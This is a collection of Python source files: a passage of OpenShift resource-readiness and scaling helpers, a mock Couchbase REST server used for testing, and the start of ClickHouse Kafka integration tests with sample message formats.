restype: type of resource, which can be "build", "dc", "deploymentconfig"
name: name of resource
timeout: time in secs to wait for resource to become ready
Returns:
True if ready,
False if timed out
'_result_dict' can be passed when running this in a threaded fashion
to store the result of this wait as:
_result_dict[resource_name] = True or False
"""
restype = parse_restype(restype)
key = "{}/{}".format(SHORTCUTS.get(restype) or restype, name)
if _result_dict is None:
_result_dict = dict()
_result_dict[key] = False
log.info("[%s] waiting up to %dsec for resource to be ready", key, timeout)
try:
# Do not use rollout status for statefulset/daemonset yet until we can handle
# https://github.com/kubernetes/kubernetes/issues/64500
if restype in ["deployment", "deploymentconfig"]:
# use oc rollout status for the applicable resource types
oc(
"rollout",
"status",
key,
namespace=namespace,
_timeout=timeout,
_stdout_log_prefix=f"[{key}] ",
_stderr_log_prefix=f"[{key}] ",
)
else:
_wait_with_periodic_status_check(namespace, timeout, key, restype, name)
log.info("[%s] is ready!", key)
_result_dict[key] = True
return True
except (StatusError, ErrorReturnCode) as err:
log.error("[%s] hit error waiting for resource to be ready: %s", key, str(err))
except (TimeoutException, TimedOutError):
log.error("[%s] timed out waiting for resource to be ready", key)
return False
def wait_for_ready_threaded(namespace, restype_name_list, timeout=300):
"""
Wait for multiple delpoyments in a threaded fashion.
Args:
restype_name_list: list of tuples with (resource_type, resource_name,)
timeout: timeout for each thread
Returns:
True if all deployments are ready
False if any failed
"""
result_dict = dict()
threads = [
threading.Thread(
target=wait_for_ready, args=(namespace, restype, name, timeout, result_dict)
)
for restype, name in restype_name_list
]
for thread in threads:
thread.daemon = True
thread.name = thread.name.lower() # because I'm picky
thread.start()
for thread in threads:
thread.join()
failed = [key for key, result in result_dict.items() if not result]
if failed:
log.info("Some resources failed to become ready: %s", ", ".join(failed))
return False
return True
def _wait_for_resources(namespace, timeout, skip=None):
skip = skip or []
wait_for_list = []
for restype in _CHECKABLE_RESOURCES:
resources = get_json(restype, namespace=namespace)
for item in resources["items"]:
entry = (restype, item["metadata"]["name"])
if entry not in skip:
wait_for_list.append((restype, item["metadata"]["name"]))
result = wait_for_ready_threaded(namespace, wait_for_list, timeout=timeout)
return result, wait_for_list
def copy_namespace_secrets(src_namespace, dst_namespace, secret_names):
for secret_name in secret_names:
log.info(
"copying secret '%s' from namespace '%s' to namespace '%s'",
secret_name,
src_namespace,
dst_namespace,
)
oc(
oc(
"get",
"--export",
"secret",
secret_name,
o="json",
n=src_namespace,
_silent=True,
),
"apply",
f="-",
n=dst_namespace,
_silent=True,
)
def process_template(template_data, params):
valid_pnames = set(p["name"] for p in template_data.get("parameters", []))
param_str = " ".join(f"-p {k}={v}" for k, v in params.items() if k in valid_pnames)
proc = Popen(
f"oc process --local --ignore-unknown-parameters -o json -f - {param_str}",
shell=True,
stdin=PIPE,
stdout=PIPE,
)
stdout, stderr = proc.communicate(json.dumps(template_data).encode("utf-8"))
return json.loads(stdout.decode("utf-8"))
def any_pods_running(namespace, label):
"""
Return true if any pods are running associated with provided label
"""
pod_data = get_json("pod", label=label, namespace=namespace)
if not pod_data or not len(pod_data.get("items", [])):
log.info("No pods found for label '%s'", label)
return False
for pod in pod_data["items"]:
if _check_status_for_restype("pod", pod):
return True
return False
def all_pods_running(namespace, label):
"""
Return true if all pods are running associated with provided label
"""
pod_data = get_json("pod", label=label, namespace=namespace)
if not pod_data or not len(pod_data.get("items", [])):
log.info("No pods found for label '%s'", label)
return False
statuses = []
for pod in pod_data["items"]:
statuses.append(_check_status_for_restype("pod", pod))
return len(statuses) and all(statuses)
def no_pods_running(namespace, label):
"""
Return true if there are no pods running associated with provided label
"""
return not any_pods_running(namespace, label)
def _get_associated_pods_using_match_labels(namespace, restype, name):
data = get_json(restype, name, namespace=namespace)
if not data:
raise ValueError(f"resource {restype}/{name} not found")
match_labels = traverse_keys(data, ["spec", "selector", "matchLabels"])
if match_labels is None:
raise ValueError(f"resource {restype}/{name} has no 'matchLabels' selector specified")
label_str = ",".join([f"{key}={val}" for key, val in match_labels.items()])
return get_json("pod", label=label_str, namespace=namespace)
def get_associated_pods(namespace, restype, name):
"""
Get all pods associated with specified resource
"""
restype = parse_restype(restype)
if restype == "deployment":
return _get_associated_pods_using_match_labels(namespace, restype, name)
raise ValueError(f"unsupported restype: {restype}")
def _scale_down_up_using_match_labels(namespace, restype, name, timeout):
data = get_json(restype, name, namespace=namespace)
if not data:
raise ValueError(f"resource {restype}/{name} not found")
orig_replicas = traverse_keys(data, ["spec", "replicas"])
if orig_replicas is None:
raise ValueError(f"resource {restype}/{name} has no 'replicas' in 'spec'")
if orig_replicas == 0:
raise ValueError(f"resource {restype}/{name} has 'replicas' set to 0 in spec")
match_labels = traverse_keys(data, ["spec", "selector", "matchLabels"])
if match_labels is None:
raise ValueError(f"resource {restype}/{name} has no 'matchLabels' selector specified")
label_str = ",".join([f"{key}={val}" for key, val in match_labels.items()])
oc("scale", restype, name, namespace=namespace, replicas=0)
wait_for(
no_pods_running,
func_args=(
namespace,
label_str,
),
message=f"wait for {restype}/{name} to have no pods running",
timeout=timeout,
delay=5,
log_on_loop=True,
)
oc("scale", restype, name, namespace=namespace, replicas=orig_replicas)
wait_for_ready(namespace, restype, name, timeout)
def scale_down_up(namespace, restype, name, timeout=300):
"""
Scale specified resource down to 0 and back up to original replica count
"""
restype = parse_restype(restype)
if restype == "deployment":
return _scale_down_up_using_match_labels(namespace, restype, name, timeout)
raise ValueError(f"unsupported restype for scaling down/up: {restype}")
|
mock_server.py
|
"""Mock server only emulates CB rest endpoints but has no functionality"""
import socket
import threading
import requests
import re
import json
import sys
from urllib.parse import urlparse
from http.server import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
self.server.rest_server.trace.append(f'GET:{parsed.path}')
for (endpoint, fns) in endpoints:
if re.search(endpoint, parsed.path) is not None and 'GET' in fns:
return self.handle_fn(fns['GET'], parsed.path, parsed.query)
self.not_found()
def do_POST(self):
parsed = urlparse(self.path)
self.server.rest_server.trace.append(f'POST:{parsed.path}')
for (endpoint, fns) in endpoints:
if re.search(endpoint, parsed.path) is not None and 'POST' in fns:
return self.handle_fn(fns['POST'], parsed.path)
self.not_found()
def do_PUT(self):
parsed = urlparse(self.path)
self.server.rest_server.trace.append(f'PUT:{parsed.path}')
for (endpoint, fns) in endpoints:
if re.search(endpoint, parsed.path) is not None and 'PUT' in fns:
return self.handle_fn(fns['PUT'], parsed.path)
self.not_found()
def do_DELETE(self):
parsed = urlparse(self.path)
self.server.rest_server.trace.append(f'DELETE:{parsed.path}')
for (endpoint, fns) in endpoints:
if re.search(endpoint, parsed.path) is not None and 'DELETE' in fns:
return self.handle_fn(fns['DELETE'], parsed.path)
self.not_found()
def not_found(self):
self.send_response(404)
self.finish()
def handle_fn(self, fn, path, params=None):
content_len = int(self.headers.get('content-length', 0))
post_body = self.rfile.read(content_len).decode('utf-8')
post_body = post_body.split('&')
for e in post_body:
if e == "":
continue
self.server.rest_server.rest_params.append(e)
code, response = fn(post_body, self.server.rest_server.args, path, params)
self.send_response(code)
if response is not None:
self.send_header('Content-type', 'application/json')
self.end_headers()
if sys.version_info >= (3, 0):
self.wfile.write(bytes(json.dumps(response), 'utf-8'))
else:
self.wfile.write(bytes(json.dumps(response)))
else:
self.end_headers()
class MockHTTPServer(HTTPServer):
def __init__(self, host_port, handler, rest_server):
self.rest_server = rest_server # Instance of MockRESTServer.
HTTPServer.__init__(self, host_port, handler)
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
HTTPServer.server_bind(self)
class MockRESTServer(object):
def __init__(self, host, port, args={}):
self.args = args
self.host = host
self.port = port
self.trace = []
self.rest_params = []
self.stop = False
self.server = MockHTTPServer((host, port), RequestHandler, self)
self.t1 = threading.Thread(target=self._run)
def set_args(self, args):
self.args = args
def host_port(self):
return f'{self.host}:{self.port!s}'
def url(self):
return f'http://{self.host_port()}'
def _run(self):
while not self.stop:
try:
self.server.handle_request()
except:
self.stop = True
def run(self):
self.stop = False
self.t1.start()
def shutdown(self):
self.stop = True
try:
requests.get(f'{self.url()}/close', timeout=0.2)
except Exception:
pass
try:
self.server.server_close()
self.t1.join()
except Exception:
pass
# ------------ Below functions that mock a superficial level of the couchbase server
def get_pools(rest_params=None, server_args=None, path="", endpointMatch=None):
is_admin = True
enterprise = True,
version = '0.0.0-0000-enterprise'
init = True
if 'init' in server_args:
init = server_args['init']
if 'is_admin' in server_args:
is_admin = server_args['is_admin']
if 'enterprise' in server_args:
enterprise = server_args['enterprise']
response_init = {'uuid': '5f8b140987f4e46c950e3fa82e7fcb48', 'settings':
{'viewUpdateDaemon': '/settings/viewUpdateDaemon?uuid=5f8b140987f4e46c950e3fa82e7fcb48',
'maxParallelIndexers': '/settings/maxParallelIndexers?uuid=5f8b140987f4e46c950e3fa82e7fcb48'},
'pools': [{'streamingUri': '/poolsStreaming/default?uuid=5f8b140987f4e46c950e3fa82e7fcb48',
'name': 'default', 'uri': '/pools/default?uuid=5f8b140987f4e46c950e3fa82e7fcb48'}],
'isEnterprise': enterprise,
'componentsVersion': {'kernel': '2.16.4', 'ale': version, 'ssl': '5.3.3',
'os_mon': '2.2.14', 'stdlib': '1.19.4', 'inets': '5.9.8',
'public_key': '0.21', 'ns_server': version, 'crypto': '3.2', 'asn1': '2.0.4',
'lhttpc': '1.3.0', 'sasl': '2.3.4'}, 'implementationVersion': version,
'isAdminCreds': is_admin, 'isIPv6': False, 'isROAdminCreds': False}
response_no_init = {'uuid': [], 'settings': [], 'pools': [], 'isEnterprise': enterprise,
'componentsVersion': {'kernel': '5.4.3.2', 'ale': version, 'ssl': '8.2.6.2', 'os_mon': '2.4.4',
'stdlib': '3.4.5', 'inets': '6.5.2.4', 'public_key': '1.5.2',
'ns_server': version, 'crypto': '4.2.2.2', 'asn1': '5.0.5.1',
'lhttpc': '1.3.0', 'sasl': '3.1.2'}, 'implementationVersion': version,
'isAdminCreds': is_admin, 'isIPv6': False, 'isROAdminCreds': False}
if init:
return 200, response_init
return 200, response_no_init
def do_nothing(rest_params=None, server_args=None, path="", endpointMatch=None):
return 200, None
def get_buckets(rest_params=None, server_args=None, path="", endpointMatch=None):
if server_args is not None and 'buckets' in server_args:
return 200, server_args['buckets']
return 200, []
def get_ddocs(rest_params=None, server_args=None, path="", endpointMatch=None):
return 200, {'rows': []}
def delete_bucket(rest_params=None, server_args=None, path="", endpointMatch=None):
bucket = path[path.rfind('/')+1:]
if 'buckets' not in server_args:
return 404, ['Bucket not found']
for b in server_args['buckets']:
if b['name'] == bucket:
server_args['delete-bucket'] = bucket
return 200, []
return 404, ['Bucket not found']
def start_log_collection(rest_params=None, server_args=None, path="", endpointMatch=None):
server_args['log-collection-started'] = True
return 200, None
def get_tasks(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'tasks' in server_args:
return 200, server_args['tasks']
return 200, []
def get_default_pool(rest_params=None, server_args=None, path="", endpointMatch=None):
response = {}
if 'pools_default' in server_args:
response = server_args['pools_default']
return 200, response
def get_server_groups(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'server-group' in server_args:
return 200, server_args['server-group']
return 200, []
def server_group_action(rest_params=None, server_args=None, path="", endpointMatch=None):
return 200, None
def get_indexes_settings(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'indexes-settings' in server_args:
return 200, server_args['indexes-settings']
return 200, {}
def get_node_info(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'node-info' in server_args:
return 200, server_args['node-info']
return 200, {}
def get_password_policy(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'password-policy' in server_args:
return 200, server_args['password-policy']
return 200, {}
def get_remote_cluster(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'remote-clusters' in server_args:
return 200, server_args['remote-clusters']
return 200, []
def get_rbac_user(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'rbac-users' in server_args:
return 200, server_args['rbac-users']
return 200, []
def get_my_roles(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'whoami' in server_args:
return 200, server_args['whoami']
return 200, []
def get_collection_manifest(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'collection_manifest'in server_args:
return 200, server_args['collection_manifest']
return 200, []
def get_groups(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'rbac-groups' in server_args:
return 200, server_args['rbac-groups']
return 200, {}
def get_user_groups(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'user-group' in server_args:
return 200, server_args['user-group']
return 200, {}
def get_user(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'rbac-users' in server_args:
res = re.search('/settings/rbac/users/([^/]+)/([^/]+)$', path)
if res is None:
return 404, 'Unknown user.'
domain = res.groups()[0]
name = res.groups()[1]
for u in server_args['rbac-users']:
if u['id'] == name and u['domain'] == domain:
return 200, u
return 404, 'Unknown user.'
return 200, {}
def get_group(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'rbac-groups' in server_args:
res = re.search('/settings/rbac/groups/([^/]+)$', path)
if res is None:
return 404, 'Unknown group.'
group = res.groups()[0]
for g in server_args['rbac-groups']:
if g['id'] == group:
return 200, g
return 404, 'Unknown group.'
return 200, {}
def get_ldap_settings(rest_params=None, server_args=None, path="", endpointMatch=None):
if 'ldap' in server_args:
return 200, server_args['ldap']
return 200, {}
def get_by_path(rest_params=None, server_args=None, path="", endpointMatch=None):
if path in server_args:
if endpointMatch:
server_args['query'] = endpointMatch
return 200, server_args[path]
return 200, {}
endpoints = [
('/close$', {'GET': do_nothing}),
('/whoami', {'GET': get_my_roles}),
('/pools$', {'GET': get_pools}),
('/pools/default$', {'POST': do_nothing, 'GET': get_default_pool}),
('/pools/default/remoteClusters(/)?$', {'POST': do_nothing, 'GET': get_remote_cluster}),
('/pools/default/remoteClusters/\w+$', {'DELETE': do_nothing, 'POST': do_nothing}),
('/pools/default/tasks$', {'GET': get_tasks}),
('/pools/default/nodeServices$', {'GET': get_by_path}),
('/pools/default/serverGroups$', {'POST': do_nothing, 'GET': get_server_groups}),
('/pools/default/serverGroups/\d+$', {'DELETE': do_nothing, 'PUT': do_nothing}),
('/pools/default/serverGroups/\d+/addNode$', {'POST': do_nothing}),
('/pools/default/serverGroups/rev=\d+$', {'PUT': do_nothing}),
('/pools/default/buckets$', {'GET': get_buckets, 'POST': do_nothing}),
('/pools/default/buckets/\w+$', {'DELETE': delete_bucket, 'POST': do_nothing}),
('/pools/default/buckets/\w+/controller/doFlush$', {'POST': do_nothing}),
('/pools/default/buckets/\w+/controller/compactDatabases$', {'POST': do_nothing}),
('/pools/default/buckets/\w+/ddocs$', {'GET': get_ddocs}),
('/pools/default/buckets/\w+/controller/compactBucket$', {'POST': do_nothing}),
('/pools/default/buckets/\w+/collections$', {'GET': get_collection_manifest, 'POST': do_nothing}),
('/pools/default/buckets/\w+/collections/\w+$', {'POST': do_nothing, 'DELETE': do_nothing}),
('/pools/default/buckets/\w+/collections/\w+/\w+$', {'DELETE': do_nothing}),
('/pools/nodes', {'GET': get_by_path}),
('/settings/indexes$', {'POST': do_nothing, 'GET': get_indexes_settings}),
('/settings/passwordPolicy$', {'POST': do_nothing, 'GET': get_password_policy}),
('/settings/rbac/users$', {'POST': do_nothing, 'GET': get_rbac_user}),
('/settings/rbac/users/\w+$', {'PUT': do_nothing, 'GET': get_user_groups}),
('/settings/rbac/groups/(\w|-)+', {'PUT': do_nothing, 'DELETE': do_nothing, 'GET': get_group}),
('/settings/rbac/groups', {'GET': get_groups}),
('/settings/rbac/users/\w+/\w+$', {'DELETE': do_nothing, 'PUT': do_nothing, 'GET': get_user}),
('/settings/saslauthdAuth$', {'POST': do_nothing}),
('/settings/ldap', {'POST': do_nothing, 'GET': get_ldap_settings}),
('/settings/alerts$', {'POST': do_nothing}),
('/settings/security$', {'POST': do_nothing}),
('/settings/audit$', {'POST': do_nothing}),
('/settings/stats$', {'POST': do_nothing}),
('/settings/license$', {'POST': do_nothing, 'GET': get_by_path}),
('/settings/license/validate$', {'POST': do_nothing, 'GET': get_by_path}),
('/settings/web$', {'POST': do_nothing}),
('/settings/autoFailover', {'POST': do_nothing}),
('/settings/autoReprovision', {'POST': do_nothing}),
('/settings/replications$', {'POST': do_nothing}),
('/settings/retryRebalance$', {'GET': get_by_path, 'POST': do_nothing}),
('/settings/replications/(\d|\w)+$', {'POST': do_nothing}),
('/node/controller/setupServices$', {'POST': do_nothing}),
('/nodes/self/controller/settings$', {'POST': do_nothing}),
('/nodes/self$', {'GET': get_node_info}),
('/node/controller/rename', {'POST': do_nothing}),
('/node/controller/enableExternalListener', {'POST': do_nothing}),
('/node/controller/disableExternalListener', {'POST': do_nothing}),
('/node/controller/setupNetConfig', {'POST': do_nothing}),
('/controller/failOver$', {'POST': do_nothing}),
('/controller/rebalance$', {'POST': do_nothing}),
('/controller/changePassword', {'POST': do_nothing}),
('/controller/reAddNode$', {'POST': do_nothing}),
('/controller/startGracefulFailover$', {'POST': do_nothing}),
('/controller/cancelLogsCollection$', {'POST': do_nothing}),
('/controller/createReplication$', {'POST': do_nothing}),
('/controller/cancelXDCR/(\d|\w)+$', {'DELETE': do_nothing}),
('/controller/setAutoCompaction$', {'POST': do_nothing}),
('/controller/startLogsCollection$', {'POST': start_log_collection}),
# other services api
('/getIndexMetadata$', {'GET': get_by_path}),
('/api/index', {'GET': get_by_path})
]
|
test.py
|
import json
import os.path as p
import random
import socket
import threading
import time
import logging
import io
import string
import ast
import avro.schema
import avro.io
import avro.datafile
from confluent_kafka.avro.cached_schema_registry_client import CachedSchemaRegistryClient
from confluent_kafka.avro.serializer.message_serializer import MessageSerializer
import kafka.errors
import pytest
from google.protobuf.internal.encoder import _VarintBytes
from helpers.client import QueryRuntimeException
from helpers.cluster import ClickHouseCluster
from helpers.network import PartitionManager
from helpers.test_tools import TSV
from kafka import KafkaAdminClient, KafkaProducer, KafkaConsumer, BrokerConnection
from kafka.protocol.admin import DescribeGroupsRequest_v1
from kafka.protocol.group import MemberAssignment
from kafka.admin import NewTopic
# protoc --version
# libprotoc 3.0.0
# # to create kafka_pb2.py
# protoc --python_out=. kafka.proto
from . import kafka_pb2
from . import social_pb2
# TODO: add test for run-time offset update in CH, if we manually update it on Kafka side.
# TODO: add test for SELECT LIMIT is working.
cluster = ClickHouseCluster(__file__)
instance = cluster.add_instance('instance',
main_configs=['configs/kafka.xml'],
with_kafka=True,
with_zookeeper=True, # For Replicated Table
macros={"kafka_broker":"kafka1",
"kafka_topic_old":"old",
"kafka_group_name_old":"old",
"kafka_topic_new":"new",
"kafka_group_name_new":"new",
"kafka_client_id":"instance",
"kafka_format_json_each_row":"JSONEachRow"},
clickhouse_path_dir='clickhouse_path')
def get_kafka_producer(port, serializer, retries):
errors = []
for _ in range(retries):
try:
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(port), value_serializer=serializer)
logging.debug("Kafka Connection establised: localhost:{}".format(port))
return producer
except Exception as e:
errors += [str(e)]
time.sleep(1)
raise Exception("Connection not establised, {}".format(errors))
def producer_serializer(x):
return x.encode() if isinstance(x, str) else x
def kafka_create_topic(admin_client, topic_name, num_partitions=1, replication_factor=1, max_retries=50, config=None):
logging.debug(f"Kafka create topic={topic_name}, num_partitions={num_partitions}, replication_factor={replication_factor}")
topics_list = [NewTopic(name=topic_name, num_partitions=num_partitions, replication_factor=replication_factor, topic_configs=config)]
retries = 0
while True:
try:
admin_client.create_topics(new_topics=topics_list, validate_only=False)
logging.debug("Admin client succeed")
return
except Exception as e:
retries += 1
time.sleep(0.5)
if retries < max_retries:
logging.warning(f"Failed to create topic {e}")
else:
raise
def kafka_delete_topic(admin_client, topic, max_retries=50):
result = admin_client.delete_topics([topic])
for (topic, e) in result.topic_error_codes:
if e == 0:
logging.debug(f"Topic {topic} deleted")
else:
logging.error(f"Failed to delete topic {topic}: {e}")
retries = 0
while True:
topics_listed = admin_client.list_topics()
logging.debug(f"TOPICS LISTED: {topics_listed}")
if topic not in topics_listed:
return
else:
retries += 1
time.sleep(0.5)
if retries > max_retries:
raise Exception(f"Failed to delete topics {topic}, {result}")
def kafka_produce(kafka_cluster, topic, messages, timestamp=None, retries=15):
logging.debug("kafka_produce server:{}:{} topic:{}".format("localhost", kafka_cluster.kafka_port, topic))
producer = get_kafka_producer(kafka_cluster.kafka_port, producer_serializer, retries)
for message in messages:
producer.send(topic=topic, value=message, timestamp_ms=timestamp)
producer.flush()
## just to ensure the python client / producer is working properly
def kafka_producer_send_heartbeat_msg(max_retries=50):
kafka_produce(kafka_cluster, 'test_heartbeat_topic', ['test'], retries=max_retries)
def kafka_consume(kafka_cluster, topic):
consumer = KafkaConsumer(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port), auto_offset_reset="earliest")
consumer.subscribe(topics=(topic))
for toppar, messages in list(consumer.poll(5000).items()):
if toppar.topic == topic:
for message in messages:
yield message.value.decode()
consumer.unsubscribe()
consumer.close()
def kafka_produce_protobuf_messages(kafka_cluster, topic, start_index, num_messages):
data = b''
for i in range(start_index, start_index + num_messages):
msg = kafka_pb2.KeyValuePair()
msg.key = i
msg.value = str(i)
serialized_msg = msg.SerializeToString()
data = data + _VarintBytes(len(serialized_msg)) + serialized_msg
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port), value_serializer=producer_serializer)
producer.send(topic=topic, value=data)
producer.flush()
logging.debug(("Produced {} messages for topic {}".format(num_messages, topic)))
def kafka_produce_protobuf_messages_no_delimeters(kafka_cluster, topic, start_index, num_messages):
data = ''
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
for i in range(start_index, start_index + num_messages):
msg = kafka_pb2.KeyValuePair()
msg.key = i
msg.value = str(i)
serialized_msg = msg.SerializeToString()
producer.send(topic=topic, value=serialized_msg)
producer.flush()
logging.debug("Produced {} messages for topic {}".format(num_messages, topic))
def kafka_produce_protobuf_social(kafka_cluster,topic, start_index, num_messages):
data = b''
for i in range(start_index, start_index + num_messages):
msg = social_pb2.User()
msg.username='John Doe {}'.format(i)
msg.timestamp=1000000+i
serialized_msg = msg.SerializeToString()
data = data + _VarintBytes(len(serialized_msg)) + serialized_msg
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port), value_serializer=producer_serializer)
producer.send(topic=topic, value=data)
producer.flush()
logging.debug(("Produced {} messages for topic {}".format(num_messages, topic)))
def avro_message(value):
schema = avro.schema.make_avsc_object({
'name': 'row',
'type': 'record',
'fields': [
{'name': 'id', 'type': 'long'},
{'name': 'blockNo', 'type': 'int'},
{'name': 'val1', 'type': 'string'},
{'name': 'val2', 'type': 'float'},
{'name': 'val3', 'type': 'int'}
]
})
bytes_writer = io.BytesIO()
# writer = avro.io.DatumWriter(schema)
# encoder = avro.io.BinaryEncoder(bytes_writer)
# writer.write(value, encoder)
# DataFileWrite seems to be mandatory to get schema encoded
writer = avro.datafile.DataFileWriter(bytes_writer, avro.io.DatumWriter(), schema)
if isinstance(value, list):
for v in value:
writer.append(v)
else:
writer.append(value)
writer.flush()
raw_bytes = bytes_writer.getvalue()
writer.close()
bytes_writer.close()
return raw_bytes
def avro_confluent_message(schema_registry_client, value):
# type: (CachedSchemaRegistryClient, dict) -> str
serializer = MessageSerializer(schema_registry_client)
schema = avro.schema.make_avsc_object({
'name': 'row',
'type': 'record',
'fields': [
{'name': 'id', 'type': 'long'},
{'name': 'blockNo', 'type': 'int'},
{'name': 'val1', 'type': 'string'},
{'name': 'val2', 'type': 'float'},
{'name': 'val3', 'type': 'int'}
]
})
return serializer.encode_record_with_schema('test_subject', schema, value)
# Tests
def test_kafka_settings_old_syntax(kafka_cluster):
assert TSV(instance.query("SELECT * FROM system.macros WHERE macro like 'kafka%' ORDER BY macro",
ignore_error=True)) == TSV('''kafka_broker kafka1
kafka_client_id instance
kafka_format_json_each_row JSONEachRow
kafka_group_name_new new
kafka_group_name_old old
kafka_topic_new new
kafka_topic_old old
''')
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka('{kafka_broker}:19092', '{kafka_topic_old}', '{kafka_group_name_old}', '{kafka_format_json_each_row}', '\\n');
''')
# Don't insert malformed messages since old settings syntax
# doesn't support skipping of broken messages.
messages = []
for i in range(50):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'old', messages)
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
members = describe_consumer_group(kafka_cluster, 'old')
assert members[0]['client_id'] == 'ClickHouse-instance-test-kafka'
# text_desc = kafka_cluster.exec_in_container(kafka_cluster.get_container_id('kafka1'),"kafka-consumer-groups --bootstrap-server localhost:9092 --describe --members --group old --verbose"))
def test_kafka_settings_new_syntax(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = '{kafka_broker}:19092',
kafka_topic_list = '{kafka_topic_new}',
kafka_group_name = '{kafka_group_name_new}',
kafka_format = '{kafka_format_json_each_row}',
kafka_row_delimiter = '\\n',
kafka_client_id = '{kafka_client_id} test 1234',
kafka_skip_broken_messages = 1;
''')
messages = []
for i in range(25):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'new', messages)
# Insert couple of malformed messages.
kafka_produce(kafka_cluster, 'new', ['}{very_broken_message,'])
kafka_produce(kafka_cluster, 'new', ['}another{very_broken_message,'])
messages = []
for i in range(25, 50):
messages.append(json.dumps({'key': i, 'value': i}))
kafka_produce(kafka_cluster, 'new', messages)
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
members = describe_consumer_group(kafka_cluster, 'new')
assert members[0]['client_id'] == 'instance test 1234'
def test_kafka_json_as_string(kafka_cluster):
kafka_produce(kafka_cluster, 'kafka_json_as_string', ['{"t": 123, "e": {"x": "woof"} }', '', '{"t": 124, "e": {"x": "test"} }',
'{"F1":"V1","F2":{"F21":"V21","F22":{},"F23":"V23","F24":"2019-12-24T16:28:04"},"F3":"V3"}'])
# 'tombstone' record (null value) = marker of deleted record
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(cluster.kafka_port), value_serializer=producer_serializer, key_serializer=producer_serializer)
producer.send(topic='kafka_json_as_string', key='xxx')
producer.flush()
instance.query('''
CREATE TABLE test.kafka (field String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'kafka_json_as_string',
kafka_group_name = 'kafka_json_as_string',
kafka_format = 'JSONAsString',
kafka_flush_interval_ms=1000;
''')
result = instance.query('SELECT * FROM test.kafka;')
expected = '''\
{"t": 123, "e": {"x": "woof"} }
{"t": 124, "e": {"x": "test"} }
{"F1":"V1","F2":{"F21":"V21","F22":{},"F23":"V23","F24":"2019-12-24T16:28:04"},"F3":"V3"}
'''
assert TSV(result) == TSV(expected)
assert instance.contains_in_log(
"Parsing of message (topic: kafka_json_as_string, partition: 0, offset: [0-9]*) return no rows")
def test_kafka_formats(kafka_cluster):
schema_registry_client = CachedSchemaRegistryClient('http://localhost:{}'.format(kafka_cluster.schema_registry_port))
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
# data was dumped from clickhouse itself in a following manner
# clickhouse-client --format=Native --query='SELECT toInt64(number) as id, toUInt16( intDiv( id, 65536 ) ) as blockNo, reinterpretAsString(19777) as val1, toFloat32(0.5) as val2, toUInt8(1) as val3 from numbers(100) ORDER BY id' | xxd -ps | tr -d '\n' | sed 's/\(..\)/\\x\1/g'
all_formats = {
## Text formats ##
# dumped with clickhouse-client ... | perl -pe 's/\n/\\n/; s/\t/\\t/g;'
'JSONEachRow': {
'data_sample': [
'{"id":"0","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n',
'{"id":"1","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"2","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"3","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"4","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"5","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"6","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"7","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"8","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"9","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"10","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"11","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"12","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"13","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"14","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"15","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n',
'{"id":"0","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n',
],
'supports_empty_value': True,
},
# JSONAsString doesn't fit to that test, and tested separately
'JSONCompactEachRow': {
'data_sample': [
'["0", 0, "AM", 0.5, 1]\n',
